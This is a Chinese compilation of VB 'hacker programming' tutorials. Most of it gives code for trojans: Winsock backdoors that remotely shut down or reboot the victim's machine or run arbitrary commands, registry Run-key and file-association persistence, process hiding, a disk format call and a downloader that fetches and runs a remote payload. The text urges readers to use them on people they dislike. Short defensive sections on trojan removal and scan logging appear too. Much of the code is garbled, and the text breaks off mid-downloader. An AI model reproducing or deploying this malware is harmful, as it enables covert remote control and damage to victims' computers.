黑客编程

黑客编程
黑客编程

黑客编程

一. 调用系统“创建快捷方式”向导

是否为VB不支持创建快捷方式而于着急呢?虽然您可以调用vb5stkit.Dll中的fCreateShellLink 函数,但它是为安装程序设计的,快捷方式的默认路径总是从当前用户的“\Start Menu\Programs”开始,也就是说,如果您的Windows95装在C盘上,您无法通过 fCreateShellLink函数把快捷方式创建到D盘上去。

现在,给大家介绍一种极为方便、巧妙的方法:用Shell语句调用系统“创建快捷方式”向导。

新建一个项目,在窗体上放一个按钮,双击此按钮,加入以下代码:

Private Sub Command1_Click()

Open App.Path & "\temp.lnk" For Output As #1

Close #1 '以上两句在程序所在目录建立一个临时文件

Shell "Rundll32.exe AppWiz.Cpl,NewLinkHere

"& App.Path & "\temp.lnk"

End Sub

(注意:Shell语句中NewLinkHere后面跟着一个空格才是引号,否则将出错。)

运行程序,按一下命令按钮,怎么样?“创建快捷方式”向导出现了,如果创建成功,快捷方式将取代临时文件temp.lnk的位置,如果选取消,temp.lnk 也会自动消失。当然,您可以在硬盘的任意位置建立 temp.lnk。好,现在又可以为您的程序增添一项新功能了。Enjoy!

二. Rundll32.exe的用途

我们知道,用Shell语句只能调用可执行文件,即 exe、com、bat和pif文件,有时我们想要调用其他一些系统功能该怎么办呢?此时,Windows提供的 Rundll32.exe可大显身手了。下面我们来认识一下这些用法,也许会给您带来一点惊喜。

1.要打开设置系统时间的控制面板文件(Timedate.cpl),只需运行如下代码:

Shell "Rundll32.exe

Shell32.dll,Control_RunDLL Timedate.cpl"

至于打开其他控制面板文件,相信您一定能够举一反三,尝试一下,换个文件名就成了。

2.要运行某一快捷方式(*.lnk)则可以用以下代码:

She11 "Rundll32.exe url.dll, FileProtocolHandler X" (X代表要运行的文件,包括路径,下同。

3. 也可以这样写来打开ActiveMovie控制:

Shell "RUNDLL32.EXE amovie.ocx,Rundll",1

而用Shell "RUNDLL32.EXE amovie.ocx,Rundll /play X",1 将直接播放媒体文件。

4. Shell "rundll32.exe desk.cpl,InstallScreenSaver X”当然是安装屏幕保护啦,如果你写了一个屏幕保护程序,那么可以在安装程序中写上它,而不一定要装到system目录下。顺便提一下,VB 不是自捞一个“Application Setup Wizard”么?它的VB源代码都在安装目录下的“\setupkit\setup1”中放着呢,好好把它研究一下。你完全能做出富有个性的安装程序来。

5.按住shift键,右击某一文件,菜单中会出现“打开方式”选项,这也许已不是什么秘密。但现在,用shell "rundll32.exe shell32.dll OpenAs_RunDLL X" 便能直接调用“打开方式”框。

6. 甚至能用这样一句来打印文件(包括HTML所支持的所有文本与图像格式):

Shell "rundll32.exe MSHTML.DLL,PrintHTML X”, 1

怎么样?是不是小有收获呢?这下,您一定会对 Rundll32.exe这个平时不起眼的文件另眼相待了,它可是系统运行必不可少的部件呢!其实 Shell+Rundll32还能调用其他许多系统功能,比如关于NetMeeting和Telnet方面的。如果您有兴趣,可以到往册表的“我的电脑\HKEY_CLASSES_ROOT\”或

“我的电脑\HKEY_LOCAL_MACHINE\Software\CLASSES”下去看看,本文的内容大都是从那里“抄”来的。只要有足够的决心、信心、耐心,您一定能发现更多有价值的东西。Good luck!

主要也就 /showerr.asp?BoardID=0&ErrCodes=60,60&action= 再起作用程序所有代码仅此两段Private Sub Command1_Click() WebBrowser1.Navigate (Text1.Text + "/showerr.asp?BoardID=0&ErrCodes=60,60&action=") End Sub Private Sub Command2_Click() End End Sub 程序下载.

首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

接下来我们回来Server窗体模块中,添加如下代码:

Private Sub form_Load()

With Me

.sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)

.sckServer.Listen '开始监听

End With

End Sub

'接受客户端的连接请求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)

With Me

If .sckServer.State <>sckClosed Then .sckServer.Close

.sckServer.Accept (requestID)

End With

End Sub

下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock 控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:Private Sub form_Load()

With Me

.sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。

.sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样.

End With

End Sub

Private sub cmdConnect_Click()

SckClient.Connect

End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。

这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能―――关机,重启,注销。好,开始吧!

在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Public Const EWX_LOGOFF = 0

Public Const EWX_REBOOT = 2

Public Const EWX_SHUTDOWN = 1

Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long

Public Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:

Private Sub cmdExit_Click()

Me.sckClient.SendData "Exit"

End Sub

Private Sub cmdLogoff_Click()

Me.sckClient.SendData "Logoff"

End Sub

Private Sub cmdReboot_Click()

Me.sckClient.SendData "Reboot"

End Sub

全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)

Dim strData As String

With Me

' 接收客户请求的信息

.sckServer.GetData strData

Select Case strData

Case "Exit"

'关机

Call ExitWindowXXX(EWX_SHUTDOWN, 0)

Case "Reboot"

'重启

Call ExitWindowXXX(EWX_REBOOT, 0)

Case "Logoff"

'注销

Call ExitWindowXXX(EWX_LOGOFF, 0)

End Select

End With

End Sub

好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load 事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

回到Server工程中的modApi中加入如下API函数:

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Const REG_BINARY = 3

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const HKEY_CLASSES_ROOT = &H80000000

写到注册表启动组中的过程。

Public Sub StartupGroup()

Dim sKey As String

Dim result As Long

Dim hKeyID As Long

Dim sKeyVal As String

sKey = "Systrsy" '启动组中的键,找一个与系统文件相近的。

sKeyVal = "C:/windows/system/systrsy.exe" '木马文件的路径,可以用GetSystemDirectory来取得系统路径。

result = RegOpenKey(HKEY_LOCAL_MACHINE, _

"Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)

If result = 0 Then

result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)

End If

End Sub

好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:

Public Sub WriteToTxt()

Dim result As Long

Dim hKeyID As Long

Dim skey As String

Dim skeyVal As String

skey = "txtfile/shell/open/command"

skeyVal = "C:/windows/system/txtView.exe"

result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

If result = 0 Then

result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)

End If

End Sub

肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/txtView.exe是哪里来的,我们的木马是C:/windows/system/systrsy.exe呀。这可是我们木马的分身了。

好,回到Server工程的Server窗体的form_Load中,加入如下代码:

Dim sCurrentPath As String, sSystemDir As String

sCurrentPath = App.Path & "/" & App.EXEName & ".exe"

sSystemDir = “C:/windows/system”

On Error Resume Next

'复制文件成系统目录下的Systrsy.exe

FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"

On Error Resume Next

复制文件成系统目录下的txtView.exe

FileCopy sCurrentPath, sSystemDir & "/txtView.exe"

调用

Call startupGroup

Call WriteToTxt

'判断程序是否下在运行

If App.PrevInstance Then

'如果已经运行就退出。

End

End If

好了,写到这里一个破坏性木马已经诞生了,我实验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河(呵呵!)

注意:

1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突

2、在第一次使用https://www.360docs.net/doc/6614866904.html,的最好看看有关的图书,可能你能写出一款超级木马也说

你可以使用API函数FindWindow和PostMessage去寻找指定的窗口,并关闭它。下面的例子教给你怎样找到并关掉一个Caption为“Caluclator”的程序。

Dim winHwnd As Long

Dim RetVal As Long

winHwnd = FindWindow(vbNullString, "Calculator")

Debug.Print winHwnd

If winHwnd <> 0 Then

RetVal = PostMessage(winHwnd, WM_CLOSE, 0&, 0&)

If RetVal = 0 Then

MsgBox "置入消息错误!"

End If

Else

MsgBox "Calculator没有打开!"

End If

为了让以上的代码工作,你必须在模块文件中什么以下API函数:

Declare Function FindWindow Lib "user32" Alias _

"FindWindowA" (ByVal lpClassName As String, _

ByVal lpWindowName As String) As Long

Declare Function PostMessage Lib "user32" Alias _

"PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _

ByVal wParam As Long, lParam As Any) As Long

Public Const WM_CLOSE = &H10

网络是互联的,当你从中获取资源的同时,也要经受其中的考验,木马程序会修改并破坏电脑的系统和文件,除了安装杀毒软件(包括防火墙)外,还应该尽可能地掌握系统文件知识。下面简单介绍一下木

马的加载方式:

加载方式:定位于System.ini和Win.ini文件

System.ini(位置C:\windows\)

[boot]项原始值配置:“shell=explorer.exe”,explorer.exe是Windows的核心文件之一,每次系统启动时,都会自动加载。

[boot]项修改后配置:“shell=explorer C:\windows\xxx.exe”(xxx.exe假设一木马程序)。

Win.ini(位置C:\windows\)

[windows]项原始值配置:“load=”;“run=”,一般情况下,等号后无启动加载项。

[windows]项修改后配置:“load=”和“run=”后跟非系统、应用启动文件,而是一些你不熟悉的文件名。

解决办法:

执行“运行→msconfig”命令,将System.ini文件和Win.ini文件中被修改的值改回原值,并将原木马程序删除。若不能进入系统,则在进入系统前按“Shift+F5”进入Command Prompt Only方式,分别键入命令edit system.ini和edit win.ini进行修改。

加载方式:隐藏在注册表中(此方式最为隐蔽)。

注意以下注册表项:HKEY LOCAL MACHINE\Software\classes\exefile\shell\open\command\

原始数值数据:"%1"%

被修改后的数值数据:C:\system\xxx.exe "%1"%

原注册表项是运行可执行文件的格式,被修改后就变为每次运行可执行文件时都会先运行C:\system\xxx.exe这个程序。

例如:开机后运行QQ主程序时,该xxx.exe(木马程序)就先被加载了。

解决办法:

当通过防火墙得知某端口被监听,立即下线,检查注册表及系统文件是否被修改,找到木马程序,将其删除。

所谓“病从口入”感染源还是在于加载了木马程序的服务器端。目前,伪装可执行文件图标的方法很多,如:修改扩展名,将文件图标改为文件夹的图标等,并隐藏扩展名,因此接收邮件和下载软件时一定要小心。许多木马程序的文件名很像系统文件名,造成用户对其没有把握,不敢随意删除,因此要不断增长自己的知识才可防备万一。

可以借助一些软件来狙击木马,如:The Cleaner、Trojan Remover等。建议经常去微软网站下载补丁包来修补系统;及时升级病毒库

BO又称“特洛伊木马”,是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

---- 使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

---- 在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()

If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

MsgBox ("请输入主机名或主机IP地址。")

Exit Sub

Else

If Len(Text1.Text) > 0 Then

tcpClient.RemoteHost = Text1.Text

Else

tcpClient.RemoteHost = Text2.Text

End If

End If

tcpClient.Connect

Timer1.Enabled = True

End Sub

---- 连接建立之后就可以使用DataArrival事件处理所收到的数据了。

---- 在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()

tcpServer.LocalPort = 1999

tcpServer.Listen

End Sub

---- 准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

If tcpServer.State < > sckClosed Then

tcpServer.Close‘检查控件的 State 属性是否为关闭的。

End If '如果不是,在接受新的连接之前先关闭此连接。

tcpServer.Accept requestID

End Sub

---- 这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

---- 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

Dim strData As String

Dim i As Long

Dim mKey As String

tcpServer.GetData strData

‘接收数据并存入strData

For i = 1 To Len(strData)

‘分离strData中的命令

If Mid(strData, i, 1) = "@" Then

mKey = Left(strData, i - 1)

‘把命令ID号存入mKey

‘把命令参数存入strData

strData = Right(strData, Len(strData) - i)

Exit For

End If

Next i

Select Case Val(mKey)

Case 1

‘驱动器名、目录名、文件名

Case 2

强制关闭服务器端的计算机

Case 3

强制重启服务器端的计算机

Case 4

屏蔽任务栏窗口;

Case 5

屏蔽开始菜单;

Case 6

按照客户机端传过来的文件名或目录名,而删除它;

Case 7

屏蔽热启动键;

Case 8

运行服务器端的任何程序

End Select

End Sub

详细程序略。

---- 客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

---- 另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

---- 这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

---- 成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。

软盘是数据的常用载体,我们的软件可能会提供用户将数据备份到软盘上的功能。为避免软盘上有带有病毒的文件,最安全的办法就是提醒用户将软盘格式化。

Visual Basic可以通过调用API函数格式化一个磁盘,无论是软盘还是硬盘。

打开一个新的项目(project1) ,如果你没有更改过缺省模式,那么Visual Basic会自动添加一个form1文件,在form1上添加一个命令控件,将下面的代码拷入。

Option Explicit

Private Declare Function SHFormatDrive Lib"shell32"_

( ByVal Hend AS Long,_

ByVal Drive AS Long,_

ByVal FormatID AS Long,_

ByVal Options AS Long) as Long

Private Sub FormatDisk(intDrive as integer,blnQuickFormat as Boolean)

dim lngReturn As Long;

if (blnQuickFormat) then

lngReturn= SHFormatDrive(0,intDrive,0&,1&)

else

lngReturn= SHFormatDrive(0,intDrive,0&,0&)

end if

end Sub

Private Sub Command1_Click()

call FormatDisk(0,True)

End Sub

运行此程序。

这里有必要提醒读者注意的是,FormatDisk函数的第一个变量很重要,他的值是0,1,2时代表格式化的分别是:A、B、C盘。

注意:读者使用此程序作练习的时候千万不要用硬盘作实验,笔者不为可能发生的错误和损失负责在一些系统,为了特定目的,经常要求程序隐藏起来运行,例如DCS(集散控制系统)中的后台监控系统、木马控制程序、源码防拷贝等,以减少被发现、截杀和反汇编的风险。这种功能模块要求程序在运行期间不仅不会在桌面出现,也不允许被操作者从任务管理器列表中发现。

程序隐形的原理

对于一个隐形程序而言,最基本的要求是:

1. 不在桌面出现界面;

2. 不在任务栏出现图标;

3. 程序名从任务管理器名单中消失。

对于上述第一点,可以将Form的Visible属性设为False。

要将图标从任务栏中屏蔽掉,可以把Form的ShowInTaskBar改为False。

在Windows环境下,可以调用WIN API函数中的RegisterviceProcess来实现第三个要求。

上述功能,不论用VC、Delphi、VB,还是PB等任何一种高级编程语言都是比较容易实现的。

隐形功能多用于木马程序,但木马程序在许多国家和地区是不合法的,为便于理解,本文用VB结合一个程序防拷贝的实例来讲解。通过获取软件安装路径所在磁盘序列号(磁盘ID),用做对合法用户的判断。以下程序的目的是用于讲解隐形程序的编制和应用,对程序防拷贝内容作了一定程度的简化。

程序隐形的示例

程序的具体编制操作如下:

1. 在VB6.0编程环境中,新建一个工程Project1。

2. 在Project1中添加模块Modulel,在工程属性中将工程名称改为HiddenMen,应用程序标题也改为HiddenMen(以下程序都经过实际运行测试,可以原样复制使用)。

在模块Module1中加入如下声明:

Public Declare Function GetCurrentProcessId Lib “kernel32” () As Long

'获得当前进程ID函数的声明

Public Declare Function RegisterServiceProcess Lib “kernel32” (ByVal ProcessId As Long, ByVal ServiceFlags As Long) As Long

'在系统中注册当前进程ID函数的声明

3. 在Project1中新建一个窗体Form1,设置Form1的属性:

form1.Visible=False

form1.ShowInTaskBar=False

在代码窗口添加如下代码:

Private Declare Function GetDriveType Lib “kernel32” Alias “GetDriveTypeA” (ByVal nDrive As String) As Long

'获得当前驱动器类型函数的声明

Private Declare Function GetVolumeInformation Lib “kernel32” Alias “GetVolumeInformationA”(ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long '获得当前驱动器信息函数的声明

Private Sub Form_Load()

Dim drive_no As Long, drive_flag As Long

Dim drive_chr As String, drive_disk As String

Dim serial_no As Long, kkk As Long

Dim stemp3 As String, dflag As Boolean

Dim strlabel As String, strtype As String,strc As Long

RegisterServiceProcess GetCurrentProcessId, 1 ' 从系统中取消当前进程

strlabel = String(255, Chr(0))

strtype = String(255, Chr(0))

stemp3 = “172498135” '这是作者C盘的序列号(十进制),读者可根据自己情况更改。

dflag = False

For drive_no = 0 To 25

drive_disk = Chr(drive_no + 67)

drive_chr = drive_disk & “:\”

drive_flag = GetDriveType(drive_chr)

If drive_flag = 3 Then

kkk = GetVolumeInformation(drive_chr, strlabel, Len(strlabel), serial_no, 0, 0, strtype, Len(strtype)) '通过GetVolumeInformation获得磁盘序列号

Select Case drive_no

Case 0

strc = serial_no

End Select

If serial_no = stemp3 Then

dflag = True

Exit For

End If

End If

Next drive_no

If drive_no = 26 And dflag = False Then '非法用户

GoTo err:

End If

MsgBox (“HI,合法用户!”)

Exit Sub

err:

MsgBox (“错误!你的C:盘ID号是” & strc)

End Sub

Private Sub Form_Unload(Cancel As Integer)

RegisterServiceProcess GetCurrentProcessId, 0 '从系统中取消当前程序的进程

End Sub

将上述程序代码编译后运行,在出现类似“错误!你的C盘ID号是172498135”对话框时,按下Ctrl+Alt+Del键,看看程序名叫“HiddenMen”是否在任务管理器名单列表里。如果把上述程序稍加改动,可以加到自己特定的程序中去。该程序在隐形运行之中,不知不觉就完成了预定功能。

以上程序在简体中文Windows 98和VB 6.0环境中调试通过。

上网的时候很容易遭到探测,一般探测你个人的入侵者技术不会高明到哪里去。所以根本不能称上黑客,所以本文就用入侵者来代替。他们对普通网民的扫描可以是多端口单IP的扫描或者多IP单端口扫描。前者是通过一些IP工具来取得你的IP,然后尝试利用端口扫描获取你的信息,看你的计算机有没有预先中了木马。然后通过网上的木马端口列表,来获得木马名称。用相应的客户端软件来连接到你的计算机。从而获得密码、以及你的秘密信息。后者则是通过利用如SuperScan等可以大范围扫描IP的软件,扫描打开特定端口的机器。比如,可以扫描打开7626端口的机器,看对方是否中了冰河。然后,入侵者就用客户端连接到服务器从而入侵你的计算机。

这些扫描是简单的TCP的Connect扫描。所以无法避开防火墙的追踪。网民就可以利用天网等防火墙软件来获取对方的IP。相信很多DIY迷或者编程爱好者总是想拥有属于自己的类似的工具。本文就给你讲述如何用VB来获得探测你的入侵者的IP地址,然后……我可没有教你用蓝屏炸弹或者蜗牛炸弹去炸它哦。毕竟,我们没有入侵者的野心,本程序还可以让你监听80端口,来察看对方对你进行的常规扫描。要看懂本文,你需要有一定的VB基础。

好了,废话少说,我们来看看本程序的基本原理:

入侵者通过Connect本机的端口,然后通过是否成功,来获得信息。由于TCP的三次握手原理。他必定会留下自己的IP,我们就利用这一个原理来获得对方的IP。

Winsock控件的属性、方法和事件在我上次写的《.用winsock制作漏洞扫描器》一文中已经叙述过,这里就不再介绍。大家还一定记得RemoteHostIP和LocalPort属性吧。这就是对方的IP和自己的端口。聪明的你应该明白了吧。通过这两个属性就可以清楚的获得对方的IP地址和他正在扫描的本地端口。

因为不可能一个端口只有一个人会扫描,所以本程序我们需要使用到控件数组。这个概念的描述大家可以查找MSDN。本程序的流程是:

1、定义需要监听的端口

2、装载一定数量的Winsock1控件,从需要监听的端口列表中获得数据。一一开启监听功能。(Listen)3、当某一个控件接收到连接的事件发生,就把得到的RemoteIP和LocalPort加入日志

4、加载一个Winsock2,继续捕获数据(Getdata)

5、 Winsock2数据到达记录数据

程序的基本概念都介绍完了,相信你对本程序已经有了一定的认识。现在我们就来开始我们的工作:程序的控件以及说明如下:

控件名控件类型属性

Label1 Label Caption=”增加端口”

Command1 command Caption=”添加”

Command2 command Caption=”监听”

Command3 command Caption=”退出”

Listports Listbox 无

TxtLog Richtextbox 无

程序的代码以及说明如下:

‘本程序在VB6.0+Windows2000下测试通过!

Dim tmpstr As String

Dim NOW_OUT As Integer ''总共出去连接的有几个Winsock

Private Sub Command1_Click()

ListPorts.AddItem txtADDPORT.Text

End Sub

Private Sub Command2_Click()

On Error Resume Next

If Command2.Caption = "监听" Then

For i = 0 To ListPorts.ListCount - 1

Load Winsock1(i + 1) ''加载监听端口的winsock1数组控件

Winsock1(i + 1).LocalPort = ListPorts.List(i) ''设定端口

Winsock1(i + 1).Listen ''监听

Next i

Command2.Caption = "停止"

Else

For i = 1 To Winsock1.Count - 1

Unload Winsock1(i)

Next i

For i2 = 1 To Winsock2.Count - 1

Unload Winsock2(i2)

Next i2

Command2.Caption = "监听"

End If

End Sub

Private Sub Command3_Click()

Unload Me

End Sub

Private Sub Form_Load()

txtLOG.Text = "日志:" & vbCrLf

NOW_OUT = 1

End Sub

Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)

Load Winsock2(NOW_OUT) ''加载建立连接的Winsock2数组控件

Winsock2(NOW_OUT).Accept requestID ''建立连接

Winsock1(Index).Close

Winsock1(Index).Listen ''Winsock1继续监听

NOW_OUT = NOW_OUT + 1 ''连接的控件累加

myAddLog "来自" & Winsock1(Index).RemoteHostIP & "连接到本地端口:" &

Winsock1(Index).LocalPort

''显示捕获的连接

End Sub

Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)

Winsock2(Index).GetData tmpstr ''通过Getdata捕获数据

myAddLog "来自" & Winsock2(Index).RemoteHostIP & "的数据:" & tmpstr ''显示捕获的数据End Sub

Sub myAddLog(tmptext As String) ''加入日志

tmptext = tmptext & vbCrLf

txtLOG.SelStart = Len(txtLOG.Text)

txtLOG.SelText = tmptext

End Sub

总结:其实一些程序的原理很简单,我们只要善于实践,并且能够把所学的只是运用到你的程序中去,我想编出类似的程序是很简单的。如木马、端口扫描器、客户端工具、CGI漏洞扫描器……。VB的Winsock 控件虽说不是底层操作。及不上C语言的Socket编程的功能。但实现普通的操作还是很有用的。简单的例子就是Cookie欺骗,用VB来编写这种程序十分简单。

今天我为大家讲如何用VB编写"木马"程序

木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给

攻击对象用的,千万不可用错了----给自己种马的人 0

客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序 cockhorseserver,另一个为

客户端程序cockhorseclient.

先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来

输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.

代码我写下:

Private Sub Command1_Click()

'调用connect方法,初始化连接.

tcpclient.RemoteHost = ipinput.Text

tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001

tcpclient.Connect '和指定的IP相对的计算机相连接

cmdconnect.Enabled = False

End Sub

(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.

Private Sub tcpclient_dataArrival(ByVal bytestotal As Long)

Dim strdata As String

tcpclient.GetData strdata

If strdata = "test connect" Then

tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" + -tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName

tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname

If InStr(Trim(strdata), "closeOK?") > 0 Then

tcpclient.Close

End If

End If

txtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + ": " + strdata End Sub

End Sub

这是这一段代码

cockhorseclient程序的核心部分就是这些,下面我讲cockhorseserver程序

cockhorseserver程序也是先建立一个窗体,也要加载一个winsock控件,(方便一些,我在同一个工程下建立这

个窗体).如果当cockhorseclient程序运行时,cockhorseclient程序就会对cockhorseserver发出连接请求,

为了完成这个连接任务,可以用connectionrequest事件来完成,然后就是具体的错误情况的表达.

代码我打出来:

if index=0 then

intmax= intmax+1

load tcpserver(intmax)

tcpserver(intmax).localport=0

tcpserver(intmax).accept requestID

combol_IP.additem(tcpserver(intmax).remotehostIP)

combol_Ip.text="填上你的恨的人的IP吧!"

tcpserver(intmax).senddata"test connect"

end if

呵呵.刚才忘记定义名称了

它的效果是:在cockhorseclient程序被按下的时候,cockhorseserver程序的connectionrequest事件被触发,

从而执行上面的程序,产生连接.

现在的cockhorseserver程序只能做链接,还不能处理cockhorseclient程序所发出的指令,我们还必需用

dataarrival事件.

代码是这样的:

Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)

Dim strdata As String

Dim check_blong

on error gogo err_pro

tcpserver(index).GetData strdata

check_blong = InStr(Trim(strdata), "Exec")

If check_blong > 0 Then

strdata = Trim(strdata)

strdata = Right(strdata.Len(strdata) - 4)

Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序:" + strdata

Shell (strdata)

Else

check_blong = InStr(Trim(strdata), "closeOk")

If check_blong > 0 Then

tcpserver(index).Close

combol_IP.removeltem (index - 1)

content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开!"

Else

ipname.Text = tcpserver(index).RemoteHostIP

txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata End If

End Sub

end if

err_pro:

if err=53 then

msgbox "所执行的程序的路径有错误! ", + tcpserver(index).remotehostIP + "该程序在执行时被拒绝!"

tcpserver(index).senddata""

end if

resume next

end sub

这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让MM运行你编写的木马服务端程序,那就是你的自己的事情啦!

好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰VB了.呵呵

中国网络安全协会 https://www.360docs.net/doc/6614866904.html,

David QQ:93917663

大家好,我是黑色恶魔,今天教各位朋友用VB编写一个下载者。(菜鸟教程,高手请跳过)

网上有不少下载者,看的我们目不暇接,不过不爽的是用哪个都要自己改免杀,用着也提心吊胆的,那么你想没想过自己编写一个下载者呢。

其实下载者的原理很简单,我们自己做一个简陋一点的是一点问题都没有的,看看我们怎么用VB来写一个吧。

代码如下:

Option Explicit

'这个的意思是要求变量必须声明后才能使用

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

'这三个是函数声明

Private Sub Form_Load()

URLDownloadToFile 0, "http://127.0.0.1/1.exe", "c:\2.exe", 0, 0 '第2个参数是你的木马地
